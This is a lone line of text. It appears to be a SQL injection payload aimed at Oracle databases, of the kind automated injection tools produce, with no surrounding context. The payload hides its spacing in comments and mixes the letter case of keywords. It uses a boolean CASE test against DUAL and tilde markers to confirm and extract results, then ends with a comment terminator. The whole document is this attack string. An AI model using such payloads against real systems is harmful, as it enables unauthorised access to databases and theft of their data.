1′)anD/**/8019=(select/**/UPpeR(CHr(126)||~||(sELeCT/**/(CAsE/**/wheN/**/(8019=8019)/**/THEn/**/1/**/elsE/**/0/**/End)/**/fROM/**/DuAL)||~||ChR(126))/**/frOM/**/DuaL/**/whERe/**/Dbms_RANDOM.VALue(4956,4307)=7220)– – 1